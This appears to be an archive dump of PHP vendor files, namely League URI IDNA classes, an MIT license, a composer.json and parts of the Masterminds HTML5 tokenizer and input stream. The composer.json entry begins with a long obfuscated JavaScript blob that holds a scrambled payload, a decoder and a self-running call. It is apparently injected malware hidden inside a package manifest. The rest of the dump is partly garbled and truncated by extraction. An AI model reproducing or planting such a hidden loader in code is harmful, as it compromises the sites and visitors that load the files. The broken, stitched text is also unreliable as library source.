^(?:(?®_name)\.)*(?®_name)\.?$ /ix'; /** * IDNA options. */ public const IDNA_DEFAULT = 0; public const IDNA_ALLOW_UNASSIGNED = 1; public const IDNA_USE_STD3_RULES = 2; public const IDNA_CHECK_BIDI = 4; public const IDNA_CHECK_CONTEXTJ = 8; public const IDNA_NONTRANSITIONAL_TO_ASCII = 0x10; public const IDNA_NONTRANSITIONAL_TO_UNICODE = 0x20; public const IDNA_CHECK_CONTEXTO = 0x40; /** * IDNA errors. */ public const ERROR_NONE = 0; public const ERROR_EMPTY_LABEL = 1; public const ERROR_LABEL_TOO_LONG = 2; public const ERROR_DOMAIN_NAME_TOO_LONG = 4; public const ERROR_LEADING_HYPHEN = 8; public const ERROR_TRAILING_HYPHEN = 0x10; public const ERROR_HYPHEN_3_4 = 0x20; public const ERROR_LEADING_COMBINING_MARK = 0x40; public const ERROR_DISALLOWED = 0x80; public const ERROR_PUNYCODE = 0x100; public const ERROR_LABEL_HAS_DOT = 0x200; public const ERROR_INVALID_ACE_LABEL = 0x400; public const ERROR_BIDI = 0x800; public const ERROR_CONTEXTJ = 0x1000; public const ERROR_CONTEXTO_PUNCTUATION = 0x2000; public const ERROR_CONTEXTO_DIGITS = 0x4000; /** * IDNA default options. */ public const IDNA2008_ASCII = self::IDNA_NONTRANSITIONAL_TO_ASCII | self::IDNA_CHECK_BIDI | self::IDNA_USE_STD3_RULES | self::IDNA_CHECK_CONTEXTJ; public const IDNA2008_UNICODE = self::IDNA_NONTRANSITIONAL_TO_UNICODE | self::IDNA_CHECK_BIDI | self::IDNA_USE_STD3_RULES | self::IDNA_CHECK_CONTEXTJ; /** * @codeCoverageIgnore */ private static function supportsIdna(): void { static $idnSupport; if (null === $idnSupport) { $idnSupport = function_exists('\idn_to_ascii') && defined('\INTL_IDNA_VARIANT_UTS46'); } if (!$idnSupport) { throw new IdnSupportMissing('IDN host can not be processed. Verify that ext/intl is installed for IDN support and that ICU is at least version 4.6.'); } } /** * Converts the input to its IDNA ASCII form. * * This method returns the string converted to IDN ASCII form * * @throws SyntaxError if the string can not be converted to ASCII using IDN UTS46 algorithm */ public static function toAscii(string $domain, int $options): IdnaInfo { $domain = rawurldecode($domain); if (1 === preg_match(self::REGEXP_IDNA_PATTERN, $domain)) { self::supportsIdna(); /* @param-out array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */ idn_to_ascii($domain, $options, INTL_IDNA_VARIANT_UTS46, $idnaInfo); if ([] === $idnaInfo) { return IdnaInfo::fromIntl([ 'result' => strtolower($domain), 'isTransitionalDifferent' => false, 'errors' => self::validateDomainAndLabelLength($domain), ]); } /* @var array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */ return IdnaInfo::fromIntl($idnaInfo); } $error = self::ERROR_NONE; if (1 !== preg_match(self::REGEXP_REGISTERED_NAME, $domain)) { $error |= self::ERROR_DISALLOWED; } return IdnaInfo::fromIntl([ 'result' => strtolower($domain), 'isTransitionalDifferent' => false, 'errors' => self::validateDomainAndLabelLength($domain) | $error, ]); } /** * Converts the input to its IDNA UNICODE form. * * This method returns the string converted to IDN UNICODE form * * @throws SyntaxError if the string can not be converted to UNICODE using IDN UTS46 algorithm */ public static function toUnicode(string $domain, int $options): IdnaInfo { $domain = rawurldecode($domain); if (false === stripos($domain, 'xn--')) { return IdnaInfo::fromIntl(['result' => $domain, 'isTransitionalDifferent' => false, 'errors' => self::ERROR_NONE]); } self::supportsIdna(); /* @param-out array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */ idn_to_utf8($domain, $options, INTL_IDNA_VARIANT_UTS46, $idnaInfo); if ([] === $idnaInfo) { throw IdnaConversionFailed::dueToInvalidHost($domain); } /* @var array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */ return IdnaInfo::fromIntl($idnaInfo); } /** * Adapted from https://github.com/TRowbotham/idna. * * @see https://github.com/TRowbotham/idna/blob/master/src/Idna.php#L236 */ private static function validateDomainAndLabelLength(string $domain): int { $error = self::ERROR_NONE; $labels = explode('.', $domain); $maxDomainSize = self::MAX_DOMAIN_LENGTH; $length = count($labels); // If the last label is empty and it is not the first label, then it is the root label. // Increase the max size by 1, making it 254, to account for the root label's "." // delimiter. This also means we don't need to check the last label's length for being too // long. if ($length > 1 && $labels[$length - 1] === '') { ++$maxDomainSize; array_pop($labels); } if (strlen($domain) > $maxDomainSize) { $error |= self::ERROR_DOMAIN_NAME_TOO_LONG; } foreach ($labels as $label) { if (strlen($label) > self::MAX_LABEL_LENGTH) { $error |= self::ERROR_LABEL_TOO_LONG; break; } } return $error; } } res/readability/vendor/league/uri-interfaces/src/Idna/IdnaInfo.php000064400000007236147577714370021205 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\Idna; use function array_filter; use const ARRAY_FILTER_USE_KEY; /** * @see https://unicode-org.github.io/icu-docs/apidoc/released/icu4c/uidna_8h.html */ final class IdnaInfo { private const ERRORS = [ Idna::ERROR_EMPTY_LABEL => 'a non-final domain name label (or the whole domain name) is empty', Idna::ERROR_LABEL_TOO_LONG => 'a domain name label is longer than 63 bytes', Idna::ERROR_DOMAIN_NAME_TOO_LONG => 'a domain name is longer than 255 bytes in its storage form', Idna::ERROR_LEADING_HYPHEN => 'a label starts with a hyphen-minus ("-")', Idna::ERROR_TRAILING_HYPHEN => 'a label ends with a hyphen-minus ("-")', Idna::ERROR_HYPHEN_3_4 => 'a label contains hyphen-minus ("-") in the third and fourth positions', Idna::ERROR_LEADING_COMBINING_MARK => 'a label starts with a combining mark', Idna::ERROR_DISALLOWED => 'a label or domain name contains disallowed characters', Idna::ERROR_PUNYCODE => 'a label starts with "xn--" but does not contain valid Punycode', Idna::ERROR_LABEL_HAS_DOT => 'a label contains a dot=full stop', Idna::ERROR_INVALID_ACE_LABEL => 'An ACE label does not contain a valid label string', Idna::ERROR_BIDI => 'a label does not meet the IDNA BiDi requirements (for right-to-left characters)', Idna::ERROR_CONTEXTJ => 'a label does not meet the IDNA CONTEXTJ requirements', Idna::ERROR_CONTEXTO_DIGITS => 'a label does not meet the IDNA CONTEXTO requirements for digits', Idna::ERROR_CONTEXTO_PUNCTUATION => 'a label does not meet the IDNA CONTEXTO requirements for punctuation characters. Some punctuation characters "Would otherwise have been DISALLOWED" but are allowed in certain contexts', ]; /** @var string */ private $result; /** @var bool */ private $isTransitionalDifferent; /** @var int */ private $errors; /** * @var array */ private $errorList; private function __construct(string $result, bool $isTransitionalDifferent, int $errors) { $this->result = $result; $this->errors = $errors; $this->isTransitionalDifferent = $isTransitionalDifferent; $this->errorList = array_filter( self::ERRORS, function (int $error): bool { return 0 !== ($error & $this->errors); }, ARRAY_FILTER_USE_KEY ); } /** * @param array{result:string, isTransitionalDifferent:bool, errors:int} $infos */ public static function fromIntl(array $infos): self { return new self($infos['result'], $infos['isTransitionalDifferent'], $infos['errors']); } /** * @param array{result:string, isTransitionalDifferent:bool, errors:int} $properties */ public static function __set_state(array $properties): self { return self::fromIntl($properties); } public function result(): string { return $this->result; } public function isTransitionalDifferent(): bool { return $this->isTransitionalDifferent; } public function errors(): int { return $this->errors; } public function error(int $error): ?string { return $this->errorList[$error] ?? null; } /** * @return array */ public function errorList(): array { return $this->errorList; } } res/readability/vendor/league/uri-interfaces/LICENSE000064400000002102147577714370016333 0ustar00The MIT License (MIT) Copyright (c) 2016 ignace nyamagana butera Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/league/uri-interfaces/composer.json000064400000011531147577714370020056 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "league/uri-interfaces", "description" : "Common interface for URI representation", "keywords": [ "url", "uri", "rfc3986", "rfc3987" ], "license": "MIT", "homepage": "http://github.com/thephpleague/uri-interfaces", "authors": [ { "name" : "Ignace Nyamagana Butera", "email" : "nyamsprod@gmail.com", "homepage" : "https://nyamsprod.com" } ], "funding": [ { "type": "github", "url": "https://github.com/sponsors/nyamsprod" } ], "require": { "php" : "^7.2 || ^8.0", "ext-json": "*" }, "require-dev": { "friendsofphp/php-cs-fixer": "^2.19", "phpstan/phpstan": "^0.12.90", "phpstan/phpstan-strict-rules": "^0.12.9", "phpstan/phpstan-phpunit": "^0.12.19", "phpunit/phpunit": "^8.5.15 || ^9.5" }, "autoload": { "psr-4": { "League\\Uri\\": "src/" } }, "scripts": { "phpunit": "phpunit --coverage-text", "phpcs": "php-cs-fixer fix --dry-run --diff -vvv --allow-risky=yes --ansi", "phpcs:fix": "php-cs-fixer fix -vvv --allow-risky=yes --ansi", "phpstan": "phpstan analyse -l max -c phpstan.neon src --ansi --memory-limit 192M", "test": [ "@phpunit", "@phpstan", "@phpcs:fix" ] }, "scripts-descriptions": { "phpunit": "Runs package test suite", "phpstan": "Runs complete codebase static analysis", "phpcs": "Runs coding style testing", "phpcs:fix": "Fix coding style issues", "test": "Runs all tests" }, "extra": { "branch-alias": { "dev-master": "2.x-dev" } }, "suggest": { "ext-intl": "to use the IDNA feature", "symfony/intl": "to use the IDNA feature via Symfony Polyfill" } } res/readability/vendor/masterminds/html5/bin/entities.php000064400000001176147577714370017642 0ustar00 $obj) { $sname = substr($name, 1, -1); $table[$sname] = $obj->characters; } echo 'scanner = $scanner; $this->events = $eventHandler; $this->mode = $mode; } /** * Begin parsing. * * This will begin scanning the document, tokenizing as it goes. * Tokens are emitted into the event handler. * * Tokenizing will continue until the document is completely * read. Errors are emitted into the event handler, but * the parser will attempt to continue parsing until the * entire input stream is read. */ public function parse() { do { $this->consumeData(); // FIXME: Add infinite loop protection. } while ($this->carryOn); } /** * Set the text mode for the character data reader. * * HTML5 defines three different modes for reading text: * - Normal: Read until a tag is encountered. * - RCDATA: Read until a tag is encountered, but skip a few otherwise- * special characters. * - Raw: Read until a special closing tag is encountered (viz. pre, script) * * This allows those modes to be set. * * Normally, setting is done by the event handler via a special return code on * startTag(), but it can also be set manually using this function. * * @param int $textmode One of Elements::TEXT_*. * @param string $untilTag The tag that should stop RAW or RCDATA mode. Normal mode does not * use this indicator. */ public function setTextMode($textmode, $untilTag = null) { $this->textMode = $textmode & (Elements::TEXT_RAW | Elements::TEXT_RCDATA); $this->untilTag = $untilTag; } /** * Consume a character and make a move. * HTML5 8.2.4.1. */ protected function consumeData() { $tok = $this->scanner->current(); if ('&' === $tok) { // Character reference $ref = $this->decodeCharacterReference(); $this->buffer($ref); $tok = $this->scanner->current(); } // Parse tag if ('<' === $tok) { // Any buffered text data can go out now. $this->flushBuffer(); $tok = $this->scanner->next(); if ('!' === $tok) { $this->markupDeclaration(); } elseif ('/' === $tok) { $this->endTag(); } elseif ('?' === $tok) { $this->processingInstruction(); } elseif (ctype_alpha($tok)) { $this->tagName(); } else { $this->parseError('Illegal tag opening'); // TODO is this necessary ? $this->characterData(); } $tok = $this->scanner->current(); } if (false === $tok) { // Handle end of document $this->eof(); } else { // Parse character switch ($this->textMode) { case Elements::TEXT_RAW: $this->rawText($tok); break; case Elements::TEXT_RCDATA: $this->rcdata($tok); break; default: if ('<' === $tok || '&' === $tok) { break; } // NULL character if ("\00" === $tok) { $this->parseError('Received null character.'); $this->text .= $tok; $this->scanner->consume(); break; } $this->text .= $this->scanner->charsUntil("<&\0"); } } return $this->carryOn; } /** * Parse anything that looks like character data. * * Different rules apply based on the current text mode. * * @see Elements::TEXT_RAW Elements::TEXT_RCDATA. */ protected function characterData() { $tok = $this->scanner->current(); if (false === $tok) { return false; } switch ($this->textMode) { case Elements::TEXT_RAW: return $this->rawText($tok); case Elements::TEXT_RCDATA: return $this->rcdata($tok); default: if ('<' === $tok || '&' === $tok) { return false; } return $this->text($tok); } } /** * This buffers the current token as character data. * * @param string $tok The current token. * * @return bool */ protected function text($tok) { // This should never happen... if (false === $tok) { return false; } // NULL character if ("\00" === $tok) { $this->parseError('Received null character.'); } $this->buffer($tok); $this->scanner->consume(); return true; } /** * Read text in RAW mode. * * @param string $tok The current token. * * @return bool */ protected function rawText($tok) { if (is_null($this->untilTag)) { return $this->text($tok); } $sequence = 'untilTag . '>'; $txt = $this->readUntilSequence($sequence); $this->events->text($txt); $this->setTextMode(0); return $this->endTag(); } /** * Read text in RCDATA mode. * * @param string $tok The current token. * * @return bool */ protected function rcdata($tok) { if (is_null($this->untilTag)) { return $this->text($tok); } $sequence = 'untilTag; $txt = ''; $caseSensitive = !Elements::isHtml5Element($this->untilTag); while (false !== $tok && !('<' == $tok && ($this->scanner->sequenceMatches($sequence, $caseSensitive)))) { if ('&' == $tok) { $txt .= $this->decodeCharacterReference(); $tok = $this->scanner->current(); } else { $txt .= $tok; $tok = $this->scanner->next(); } } $len = strlen($sequence); $this->scanner->consume($len); $len += $this->scanner->whitespace(); if ('>' !== $this->scanner->current()) { $this->parseError('Unclosed RCDATA end tag'); } $this->scanner->unconsume($len); $this->events->text($txt); $this->setTextMode(0); return $this->endTag(); } /** * If the document is read, emit an EOF event. */ protected function eof() { // fprintf(STDOUT, "EOF"); $this->flushBuffer(); $this->events->eof(); $this->carryOn = false; } /** * Look for markup. */ protected function markupDeclaration() { $tok = $this->scanner->next(); // Comment: if ('-' == $tok && '-' == $this->scanner->peek()) { $this->scanner->consume(2); return $this->comment(); } elseif ('D' == $tok || 'd' == $tok) { // Doctype return $this->doctype(); } elseif ('[' == $tok) { // CDATA section return $this->cdataSection(); } // FINISH $this->parseError('Expected . Emit an empty comment because 8.2.4.46 says to. if ('>' == $tok) { // Parse error. Emit the comment token. $this->parseError("Expected comment data, got '>'"); $this->events->comment(''); $this->scanner->consume(); return true; } // Replace NULL with the replacement char. if ("\0" == $tok) { $tok = UTF8Utils::FFFD; } while (!$this->isCommentEnd()) { $comment .= $tok; $tok = $this->scanner->next(); } $this->events->comment($comment); $this->scanner->consume(); return true; } /** * Check if the scanner has reached the end of a comment. * * @return bool */ protected function isCommentEnd() { $tok = $this->scanner->current(); // EOF if (false === $tok) { // Hit the end. $this->parseError('Unexpected EOF in a comment.'); return true; } // If it doesn't start with -, not the end. if ('-' != $tok) { return false; } // Advance one, and test for '->' if ('-' == $this->scanner->next() && '>' == $this->scanner->peek()) { $this->scanner->consume(); // Consume the last '>' return true; } // Unread '-'; $this->scanner->unconsume(1); return false; } /** * Parse a DOCTYPE. * * Parse a DOCTYPE declaration. This method has strong bearing on whether or * not Quirksmode is enabled on the event handler. * * @todo This method is a little long. Should probably refactor. * * @return bool */ protected function doctype() { // Check that string is DOCTYPE. if ($this->scanner->sequenceMatches('DOCTYPE', false)) { $this->scanner->consume(7); } else { $chars = $this->scanner->charsWhile('DOCTYPEdoctype'); $this->parseError('Expected DOCTYPE, got %s', $chars); return $this->bogusComment('scanner->whitespace(); $tok = $this->scanner->current(); // EOF: die. if (false === $tok) { $this->events->doctype('html5', EventHandler::DOCTYPE_NONE, '', true); $this->eof(); return true; } // NULL char: convert. if ("\0" === $tok) { $this->parseError('Unexpected null character in DOCTYPE.'); } $stop = " \n\f>"; $doctypeName = $this->scanner->charsUntil($stop); // Lowercase ASCII, replace \0 with FFFD $doctypeName = strtolower(strtr($doctypeName, "\0", UTF8Utils::FFFD)); $tok = $this->scanner->current(); // If false, emit a parse error, DOCTYPE, and return. if (false === $tok) { $this->parseError('Unexpected EOF in DOCTYPE declaration.'); $this->events->doctype($doctypeName, EventHandler::DOCTYPE_NONE, null, true); return true; } // Short DOCTYPE, like if ('>' == $tok) { // DOCTYPE without a name. if (0 == strlen($doctypeName)) { $this->parseError('Expected a DOCTYPE name. Got nothing.'); $this->events->doctype($doctypeName, 0, null, true); $this->scanner->consume(); return true; } $this->events->doctype($doctypeName); $this->scanner->consume(); return true; } $this->scanner->whitespace(); $pub = strtoupper($this->scanner->getAsciiAlpha()); $white = $this->scanner->whitespace(); // Get ID, and flag it as pub or system. if (('PUBLIC' == $pub || 'SYSTEM' == $pub) && $white > 0) { // Get the sys ID. $type = 'PUBLIC' == $pub ? EventHandler::DOCTYPE_PUBLIC : EventHandler::DOCTYPE_SYSTEM; $id = $this->quotedString("\0>"); if (false === $id) { $this->events->doctype($doctypeName, $type, $pub, false); return true; } // Premature EOF. if (false === $this->scanner->current()) { $this->parseError('Unexpected EOF in DOCTYPE'); $this->events->doctype($doctypeName, $type, $id, true); return true; } // Well-formed complete DOCTYPE. $this->scanner->whitespace(); if ('>' == $this->scanner->current()) { $this->events->doctype($doctypeName, $type, $id, false); $this->scanner->consume(); return true; } // If we get here, we have scanner->charsUntil('>'); $this->parseError('Malformed DOCTYPE.'); $this->events->doctype($doctypeName, $type, $id, true); $this->scanner->consume(); return true; } // Else it's a bogus DOCTYPE. // Consume to > and trash. $this->scanner->charsUntil('>'); $this->parseError('Expected PUBLIC or SYSTEM. Got %s.', $pub); $this->events->doctype($doctypeName, 0, null, true); $this->scanner->consume(); return true; } /** * Utility for reading a quoted string. * * @param string $stopchars Characters (in addition to a close-quote) that should stop the string. * E.g. sometimes '>' is higher precedence than '"' or "'". * * @return mixed String if one is found (quotations omitted). */ protected function quotedString($stopchars) { $tok = $this->scanner->current(); if ('"' == $tok || "'" == $tok) { $this->scanner->consume(); $ret = $this->scanner->charsUntil($tok . $stopchars); if ($this->scanner->current() == $tok) { $this->scanner->consume(); } else { // Parse error because no close quote. $this->parseError('Expected %s, got %s', $tok, $this->scanner->current()); } return $ret; } return false; } /** * Handle a CDATA section. * * @return bool */ protected function cdataSection() { $cdata = ''; $this->scanner->consume(); $chars = $this->scanner->charsWhile('CDAT'); if ('CDATA' != $chars || '[' != $this->scanner->current()) { $this->parseError('Expected [CDATA[, got %s', $chars); return $this->bogusComment('scanner->next(); do { if (false === $tok) { $this->parseError('Unexpected EOF inside CDATA.'); $this->bogusComment('scanner->next(); } while (!$this->scanner->sequenceMatches(']]>')); // Consume ]]> $this->scanner->consume(3); $this->events->cdata($cdata); return true; } // ================================================================ // Non-HTML5 // ================================================================ /** * Handle a processing instruction. * * XML processing instructions are supposed to be ignored in HTML5, * treated as "bogus comments". However, since we're not a user * agent, we allow them. We consume until ?> and then issue a * EventListener::processingInstruction() event. * * @return bool */ protected function processingInstruction() { if ('?' != $this->scanner->current()) { return false; } $tok = $this->scanner->next(); $procName = $this->scanner->getAsciiAlpha(); $white = $this->scanner->whitespace(); // If not a PI, send to bogusComment. if (0 == strlen($procName) || 0 == $white || false == $this->scanner->current()) { $this->parseError("Expected processing instruction name, got $tok"); $this->bogusComment('. while (!('?' == $this->scanner->current() && '>' == $this->scanner->peek())) { $data .= $this->scanner->current(); $tok = $this->scanner->next(); if (false === $tok) { $this->parseError('Unexpected EOF in processing instruction.'); $this->events->processingInstruction($procName, $data); return true; } } $this->scanner->consume(2); // Consume the closing tag $this->events->processingInstruction($procName, $data); return true; } // ================================================================ // UTILITY FUNCTIONS // ================================================================ /** * Read from the input stream until we get to the desired sequene * or hit the end of the input stream. * * @param string $sequence * * @return string */ protected function readUntilSequence($sequence) { $buffer = ''; // Optimization for reading larger blocks faster. $first = substr($sequence, 0, 1); while (false !== $this->scanner->current()) { $buffer .= $this->scanner->charsUntil($first); // Stop as soon as we hit the stopping condition. if ($this->scanner->sequenceMatches($sequence, false)) { return $buffer; } $buffer .= $this->scanner->current(); $this->scanner->consume(); } // If we get here, we hit the EOF. $this->parseError('Unexpected EOF during text read.'); return $buffer; } /** * Check if upcomming chars match the given sequence. * * This will read the stream for the $sequence. If it's * found, this will return true. If not, return false. * Since this unconsumes any chars it reads, the caller * will still need to read the next sequence, even if * this returns true. * * Example: $this->scanner->sequenceMatches('') will * see if the input stream is at the start of a * '' string. * * @param string $sequence * @param bool $caseSensitive * * @return bool */ protected function sequenceMatches($sequence, $caseSensitive = true) { @trigger_error(__METHOD__ . ' method is deprecated since version 2.4 and will be removed in 3.0. Use Scanner::sequenceMatches() instead.', E_USER_DEPRECATED); return $this->scanner->sequenceMatches($sequence, $caseSensitive); } /** * Send a TEXT event with the contents of the text buffer. * * This emits an EventHandler::text() event with the current contents of the * temporary text buffer. (The buffer is used to group as much PCDATA * as we can instead of emitting lots and lots of TEXT events.) */ protected function flushBuffer() { if ('' === $this->text) { return; } $this->events->text($this->text); $this->text = ''; } /** * Add text to the temporary buffer. * * @see flushBuffer() * * @param string $str */ protected function buffer($str) { $this->text .= $str; } /** * Emit a parse error. * * A parse error always returns false because it never consumes any * characters. * * @param string $msg * * @return string */ protected function parseError($msg) { $args = func_get_args(); if (count($args) > 1) { array_shift($args); $msg = vsprintf($msg, $args); } $line = $this->scanner->currentLine(); $col = $this->scanner->columnOffset(); $this->events->parseError($msg, $line, $col); return false; } /** * Decode a character reference and return the string. * * If $inAttribute is set to true, a bare & will be returned as-is. * * @param bool $inAttribute Set to true if the text is inside of an attribute value. * false otherwise. * * @return string */ protected function decodeCharacterReference($inAttribute = false) { // Next char after &. $tok = $this->scanner->next(); $start = $this->scanner->position(); if (false === $tok) { return '&'; } // These indicate not an entity. We return just // the &. if ("\t" === $tok || "\n" === $tok || "\f" === $tok || ' ' === $tok || '&' === $tok || '<' === $tok) { // $this->scanner->next(); return '&'; } // Numeric entity if ('#' === $tok) { $tok = $this->scanner->next(); if (false === $tok) { $this->parseError('Expected &#DEC; &#HEX;, got EOF'); $this->scanner->unconsume(1); return '&'; } // Hexidecimal encoding. // X[0-9a-fA-F]+; // x[0-9a-fA-F]+; if ('x' === $tok || 'X' === $tok) { $tok = $this->scanner->next(); // Consume x // Convert from hex code to char. $hex = $this->scanner->getHex(); if (empty($hex)) { $this->parseError('Expected &#xHEX;, got &#x%s', $tok); // We unconsume because we don't know what parser rules might // be in effect for the remaining chars. For example. '&#>' // might result in a specific parsing rule inside of tag // contexts, while not inside of pcdata context. $this->scanner->unconsume(2); return '&'; } $entity = CharacterReference::lookupHex($hex); } // Decimal encoding. // [0-9]+; else { // Convert from decimal to char. $numeric = $this->scanner->getNumeric(); if (false === $numeric) { $this->parseError('Expected &#DIGITS;, got &#%s', $tok); $this->scanner->unconsume(2); return '&'; } $entity = CharacterReference::lookupDecimal($numeric); } } elseif ('=' === $tok && $inAttribute) { return '&'; } else { // String entity. // Attempt to consume a string up to a ';'. // [a-zA-Z0-9]+; $cname = $this->scanner->getAsciiAlphaNum(); $entity = CharacterReference::lookupName($cname); // When no entity is found provide the name of the unmatched string // and continue on as the & is not part of an entity. The & will // be converted to & elsewhere. if (null === $entity) { if (!$inAttribute || '' === $cname) { $this->parseError("No match in entity table for '%s'", $cname); } $this->scanner->unconsume($this->scanner->position() - $start); return '&'; } } // The scanner has advanced the cursor for us. $tok = $this->scanner->current(); // We have an entity. We're done here. if (';' === $tok) { $this->scanner->consume(); return $entity; } // Failing to match ; means unconsume the entire string. $this->scanner->unconsume($this->scanner->position() - $start); $this->parseError('Expected &ENTITY;, got &ENTITY%s (no trailing ;) ', $tok); return '&'; } } res/readability/vendor/masterminds/html5/src/HTML5/Parser/StringInputStream.php000064400000022472147577714370023566 0ustar00 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // Some conventions: // - /* */ indicates verbatim text from the HTML 5 specification // MPB: Not sure which version of the spec. Moving from HTML5lib to // HTML5-PHP, I have been using this version: // http://www.w3.org/TR/2012/CR-html5-20121217/Overview.html#contents // // - // indicates regular comments /** * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead. */ class StringInputStream implements InputStream { /** * The string data we're parsing. */ private $data; /** * The current integer byte position we are in $data. */ private $char; /** * Length of $data; when $char === $data, we are at the end-of-file. */ private $EOF; /** * Parse errors. */ public $errors = array(); /** * Create a new InputStream wrapper. * * @param string $data Data to parse. * @param string $encoding The encoding to use for the data. * @param string $debug A fprintf format to use to echo the data on stdout. */ public function __construct($data, $encoding = 'UTF-8', $debug = '') { $data = UTF8Utils::convertToUTF8($data, $encoding); if ($debug) { fprintf(STDOUT, $debug, $data, strlen($data)); } // There is good reason to question whether it makes sense to // do this here, since most of these checks are done during // parsing, and since this check doesn't actually *do* anything. $this->errors = UTF8Utils::checkForIllegalCodepoints($data); $data = $this->replaceLinefeeds($data); $this->data = $data; $this->char = 0; $this->EOF = strlen($data); } public function __toString() { return $this->data; } /** * Replace linefeed characters according to the spec. */ protected function replaceLinefeeds($data) { /* * U+000D CARRIAGE RETURN (CR) characters and U+000A LINE FEED (LF) characters are treated specially. * Any CR characters that are followed by LF characters must be removed, and any CR characters not * followed by LF characters must be converted to LF characters. Thus, newlines in HTML DOMs are * represented by LF characters, and there are never any CR characters in the input to the tokenization * stage. */ $crlfTable = array( "\0" => "\xEF\xBF\xBD", "\r\n" => "\n", "\r" => "\n", ); return strtr($data, $crlfTable); } /** * Returns the current line that the tokenizer is at. */ public function currentLine() { if (empty($this->EOF) || 0 === $this->char) { return 1; } // Add one to $this->char because we want the number for the next // byte to be processed. return substr_count($this->data, "\n", 0, min($this->char, $this->EOF)) + 1; } /** * @deprecated */ public function getCurrentLine() { return $this->currentLine(); } /** * Returns the current column of the current line that the tokenizer is at. * Newlines are column 0. The first char after a newline is column 1. * * @return int The column number. */ public function columnOffset() { // Short circuit for the first char. if (0 === $this->char) { return 0; } // strrpos is weird, and the offset needs to be negative for what we // want (i.e., the last \n before $this->char). This needs to not have // one (to make it point to the next character, the one we want the // position of) added to it because strrpos's behaviour includes the // final offset byte. $backwardFrom = $this->char - 1 - strlen($this->data); $lastLine = strrpos($this->data, "\n", $backwardFrom); // However, for here we want the length up until the next byte to be // processed, so add one to the current byte ($this->char). if (false !== $lastLine) { $findLengthOf = substr($this->data, $lastLine + 1, $this->char - 1 - $lastLine); } else { // After a newline. $findLengthOf = substr($this->data, 0, $this->char); } return UTF8Utils::countChars($findLengthOf); } /** * @deprecated */ public function getColumnOffset() { return $this->columnOffset(); } /** * Get the current character. * * @return string The current character. */ public function current() { return $this->data[$this->char]; } /** * Advance the pointer. * This is part of the Iterator interface. */ public function next() { ++$this->char; } /** * Rewind to the start of the string. */ public function rewind() { $this->char = 